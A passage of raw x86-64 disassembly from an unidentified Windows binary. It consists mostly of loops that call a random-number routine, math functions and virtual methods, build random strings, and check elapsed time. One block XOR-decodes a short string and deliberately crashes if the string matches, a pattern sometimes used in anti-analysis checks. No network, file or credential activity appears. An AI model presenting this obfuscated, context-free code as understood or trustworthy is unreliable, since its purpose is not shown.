jmp 0x1401511b5
lea r8, [rsp + 0x108]
lea rcx, [rsp + 0xc00]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x108]
test rcx, rcx
je 0x1401511cf
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x490]
test rcx, rcx
je 0x1401511e8
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov esi, 0x80000000
movsd xmm8, qword [0x1401ed1c0]
movsd xmm12, qword [0x1401ed1b8]
nop
call fcn.14017ad6c
mov rdi, rax
call fcn.14017ad50
cmp rdi, 0x989680
jne 0x14015121c
imul rax, rax, 0x64
jmp 0x140151237
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x140151e3d
mov dword [rsp + 0x88], r14d
nop dword [rax + rax]
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x140151264
lea ecx, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151273
add eax, esi
jmp 0x140151278
add eax, 0x80000000
sub eax, ecx
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x14015128e
call fcn.140170220
jmp 0x1401512c8
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x1401512c8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1401512c8
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x1401512b1
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x1401512de
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x1401512ed
add eax, esi
jmp 0x1401512f2
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x14015130b
call fcn.140170220
mov ecx, eax
jmp 0x14015134b
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151347
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151347
nop
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151330
shr rcx, 0x20
lea edx, [rcx + r12]
mov r8, qword [rsp + 0xc08]
mov r9, qword [rsp + 0xc00]
sub r8, r9
sar r8, 3
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r13, qword [r9 + rax*8]
mov rax, qword [r13]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x1401513a6
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x1401513b5
add eax, esi
jmp 0x1401513ba
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x1401513d3
call fcn.140170220
mov ecx, eax
jmp 0x14015141b
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151417
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151417
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151400
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r13
call qword [rsp + 0x70]
mov dword [rsp + 0x40], eax
movaps xmm9, xmm14
movaps xmm1, xmm13
mov edi, 2
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm14
mulsd xmm0, xmm1
addsd xmm9, xmm0
mulsd xmm1, xmm8
sub rdi, 1
jne 0x140151450
divsd xmm9, xmm1
mulsd xmm9, xmm12
addsd xmm9, xmm11
movaps xmm10, xmm14
movaps xmm1, xmm13
mov edi, 2
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm14
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm8
sub rdi, 1
jne 0x1401514a0
divsd xmm10, xmm1
mulsd xmm10, xmm12
addsd xmm10, xmm11
movaps xmm6, xmm10
andps xmm6, xmmword [0x1401ed2d0]
movaps xmm0, xmm9
call fcn.1401ce400
movaps xmm7, xmm0
movaps xmm0, xmm10
call fcn.1401cf2b0
mulsd xmm7, xmm0
addsd xmm6, xmm13
movaps xmm0, xmm6
call fcn.1401ced80
addsd xmm7, xmm0
movaps xmm0, xmm9
call fcn.1401ce980
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x50]
addsd xmm7, xmm1
movsd qword [rsp + 0x50], xmm7
movaps xmm0, xmm14
movaps xmm2, xmm13
mov edi, 2
nop
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm14
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140151540
divsd xmm0, xmm2
mulsd xmm0, xmm12
addsd xmm0, xmm11
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movaps xmm0, xmm14
movaps xmm2, xmm13
mov edi, 2
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm14
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm8
sub rdi, 1
jne 0x1401515a3
divsd xmm0, xmm2
mulsd xmm0, xmm12
addsd xmm0, xmm11
call fcn.1401cf820
movsd xmm1, qword [rsp + 0x50]
mulsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd90], xmm0
mov qword [rsp + 0xda0], r14
mov qword [rsp + 0xda8], r14
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rsp + 0xd90]
call fcn.140132200
nop
lea rdi, [rsp + 0xd90]
cmp qword [rsp + 0xda8], 0x10
jb 0x140151649
mov rdi, qword [rsp + 0xd90]
mov rcx, rdi
jmp 0x140151651
lea rcx, [rsp + 0xd90]
mov rdx, rdi
mov r15, qword [rsp + 0xda0]
add r15, rcx
cmp rdx, r15
je 0x1401516b8
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x1401516a8
nop dword [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140151690
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, r15
jne 0x140151670
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc58], xmm1
mov qword [rsp + 0xc68], r14
mov ecx, 0x190
call fcn.14019feec
mov qword [rsp + 0xc58], rax
lea r12, [rax + 0x190]
mov qword [rsp + 0xc68], r12
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1401a2520
mov qword [rsp + 0xc60], r12
mov r15, qword [rsp + 0xc58]
cmp r15, r12
je 0x140151751
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x2700]
lea rcx, [rsp + 0xbe0]
call fcn.140162040
mov dword [r15], eax
add r15, 4
cmp r15, r12
jne 0x140151720
mov r12, qword [rsp + 0xc60]
mov r15, qword [rsp + 0xc58]
mov dword [rsp + 0xe10], 0xffffff9c
mov dword [rsp + 0xe14], 0x64
cmp r15, r12
je 0x1401517a6
nop dword [rax]
mov edi, dword [r15]
lea rdx, [rsp + 0x2700]
lea rcx, [rsp + 0xe10]
call fcn.140162040
add eax, edi
mov dword [r15], eax
add r15, 4
cmp r15, r12
jne 0x140151770
mov r12, qword [rsp + 0xc60]
mov r15, qword [rsp + 0xc58]
mov r8, r12
sub r8, r15
sar r8, 2
xor r9d, r9d
mov rdx, r12
mov rcx, r15
call fcn.1401703b0
mov r8d, r14d
mov rax, qword [rsp + 0xc58]
mov rdx, r14
mov r9, qword [rsp + 0xc60]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r14
test rcx, rcx
je 0x140151841
cmp rcx, 8
jb 0x140151841
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140151800
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14015185c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140151850
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14015187d
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x14015188c
add eax, esi
jmp 0x140151891
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x1401518aa
call fcn.140170220
mov ecx, eax
jmp 0x1401518eb
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x1401518e7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1401518e7
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x1401518d0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r13d, [rax + rsi]
jb 0x140151912
lea r13d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151921
add eax, esi
jmp 0x140151926
add eax, 0x80000000
sub eax, r13d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x14015193f
call fcn.140170220
mov ecx, eax
jmp 0x14015198c
lea r15d, [rax + 1]
call fcn.140170220
mov r12d, r15d
mov ecx, eax
imul rcx, r12
cmp ecx, r15d
jae 0x140151988
mov eax, r15d
neg eax
xor edx, edx
div r15d
mov r15d, edx
cmp ecx, edx
jae 0x140151988
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r12
cmp ecx, r15d
jb 0x140151970
shr rcx, 0x20
add ecx, r13d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x1401519d5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rsp + 0xbe0]
lea r12d, [rax + rsi]
jne 0x140151a7e
cmp eax, esi
jb 0x1401519f3
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151a02
add eax, esi
jmp 0x140151a07
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140151a20
call fcn.140170220
mov ecx, eax
jmp 0x140151a5e
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151a5a
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151a5a
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151a43
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140151b17
cmp eax, esi
jb 0x140151a89
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151a98
add eax, esi
jmp 0x140151a9d
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140151ab6
call fcn.140170220
mov ecx, eax
jmp 0x140151afb
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151af7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151af7
nop dword [rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151ae0
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x70], 5
mov r13d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x140151b46
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151b55
add eax, esi
jmp 0x140151b5a
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140151b73
call fcn.140170220
mov ecx, eax
jmp 0x140151bbb
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151bb7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151bb7
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151ba0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm14
movaps xmm2, xmm13
mov edi, 2
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm14
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140151be3
divsd xmm1, xmm2
mulsd xmm1, xmm12
addsd xmm1, xmm11
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
test r13b, 1
jne 0x140151cd9
mov eax, dword [rsp + 0xbe0]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x140151c50
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbe4]
cmp eax, esi
jae 0x140151c5f
add eax, esi
jmp 0x140151c64
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x2700]
cmp eax, 0xffffffff
jne 0x140151c7d
call fcn.140170220
mov ecx, eax
jmp 0x140151cbb
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x140151cb7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140151cb7
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x140151ca0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x140151d42
movaps xmm1, xmm14
movaps xmm2, xmm13
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x2700]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm14
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm8
sub rdi, 1
jne 0x140151cf0
movsd xmm0, qword [rsp + 0x50]
divsd xmm1, xmm2
mulsd xmm1, xmm12
addsd xmm1, xmm11
addsd xmm1, xmm13
divsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
inc r13d
cmp r13d, 5
jl 0x140151b30
sub qword [rsp + 0x70], 1
jne 0x140151b20
mov rcx, qword [rsp + 0xc58]
test rcx, rcx
je 0x140151dbd
mov rax, qword [rsp + 0xc68]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140151da4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401561bf
call fcn.14019f9e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc58], xmm0
mov qword [rsp + 0xc68], r14
mov rdx, qword [rsp + 0xda8]
cmp rdx, 0x10
jb 0x140151e00
inc rdx
mov rcx, qword [rsp + 0xd90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140151dfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401561c5
call fcn.14019f9e0
mov qword [rsp + 0xda0], r14
mov qword [rsp + 0xda8], 0xf
mov byte [rsp + 0xd90], 0
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
cmp ecx, 0x186a0
jl 0x140151250
jmp 0x140151200
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xc00]
mov r15d, 1
test rbx, rbx
je 0x140151ee2
mov rdi, qword [rsp + 0xc08]
cmp rbx, rdi
je 0x140151e8a
mov rcx, qword [rbx]
test rcx, rcx
je 0x140151e79
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x140151e65
mov rbx, qword [rsp + 0xc00]
mov rax, qword [rsp + 0xc10]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140151ec6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401561cb
mov rcx, rbx
call fcn.14019f9e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc00], xmm0
mov qword [rsp + 0xc10], r14
mov eax, dword [0x1401ebddc]
mov dword [rsp + 0x80], eax
movzx eax, byte [0x1401ebde0]
mov byte [rsp + 0x80], 0x31
xor byte [rsp + 0x81], 0x1d
xor byte [rsp + 0x82], 0x1f
xor byte [rsp + 0x83], 0x21
xor al, 0x23
mov byte [rsp + 0x84], al
lea rdx, [rsp + 0x80]
lea rcx, [0x140207dd0]
call fcn.1401636d0
test al, al
je 0x140152542
mov qword [0], r14
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x7540]
call fcn.140158db0
mov dword [rsp + 0xc50], 0xffffff9c
mov dword [rsp + 0xc54], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xdd0], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x498]
call fcn.140119650
mov rax, qword [rsp + 0x498]
add rax, 0x5f5e100
mov qword [rsp + 0x248], rax
lea rcx, [rsp + 0xce8]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xce8], xmm0
mov qword [rsp + 0xcf8], r14
lea rcx, [rsp + 0x4a0]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x218], rcx
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x218]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4a0]
call fcn.140158cc0
lea rcx, [rsp + 0x4a8]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x220], rcx
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x220]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4a8]
call fcn.140158cc0
lea rcx, [rsp + 0x4b0]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x228], rcx
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x228]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4b0]
call fcn.140158cc0
lea rcx, [rsp + 0x4b8]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x230], rcx
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x230]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4b8]
call fcn.140158cc0
lea rcx, [rsp + 0x4c0]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x238], rcx
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x238]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4c0]
call fcn.140158cc0
lea rcx, [rsp + 0x4c8]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x240], rcx
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0xce8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x240]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4c8]
call fcn.140158cc0
lea rcx, [rsp + 0x4d0]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x248]
call fcn.140119a00
test al, al
jns 0x14015252c
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x7540]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov rbx, qword [rsp + 0xcf0]
sub rbx, qword [rsp + 0xce8]
sar rbx, 3
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xce8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10c0]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0x10c0]
call fcn.140119840
lea rcx, [rsp + 0xe80]
call fcn.140119a50
lea rcx, [rsp + 0xe80]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x7d0], xmm6
lea r8, [rsp + 0x7d0]
mov rdx, qword [rsp + 0xe88]
mov rcx, qword [rsp + 0xe80]
call fcn.140162360
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xe80]
call fcn.140119950
mov rdx, qword [rsp + 0xe88]
mov rcx, qword [rsp + 0xe80]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x1401523fa
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
test eax, eax
jne 0x14015241f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015242e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x7540]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x7540]
test bl, 1
jne 0x1401524ab
lea rcx, [rsp + 0xc50]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1401524cd
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xdd0]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140152440
sub rdi, 1
jne 0x140152433
lea rcx, [rsp + 0xe80]
call fcn.140158e00
nop
lea rcx, [rsp + 0x10c0]
call fcn.1401348f0
sub rsi, 1
jne 0x1401521f0
lea rcx, [rsp + 0x4d0]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x248]
call fcn.140119a00
test al, al
js 0x1401521e0
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xce8]
call fcn.140158d10
jmp 0x140156099
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x88d0]
call fcn.140158db0
mov dword [rsp + 0xc48], 0xffffff9c
mov dword [rsp + 0xc4c], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xde0], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x4d8]
call fcn.140119650
mov rax, qword [rsp + 0x4d8]
add rax, 0x5f5e100
mov qword [rsp + 0x280], rax
lea rcx, [rsp + 0xcb8]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xcb8], xmm0
mov qword [rsp + 0xcc8], r14
lea rcx, [rsp + 0x4e0]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x250], rcx
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x250]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4e0]
call fcn.140158cc0
lea rcx, [rsp + 0x4e8]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x258], rcx
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x258]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x4e8]
call fcn.140158cc0
lea rcx, [rsp + 0x4f0]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x260], rcx
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xcb8]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x260]
call fcn.140158cc0
nop
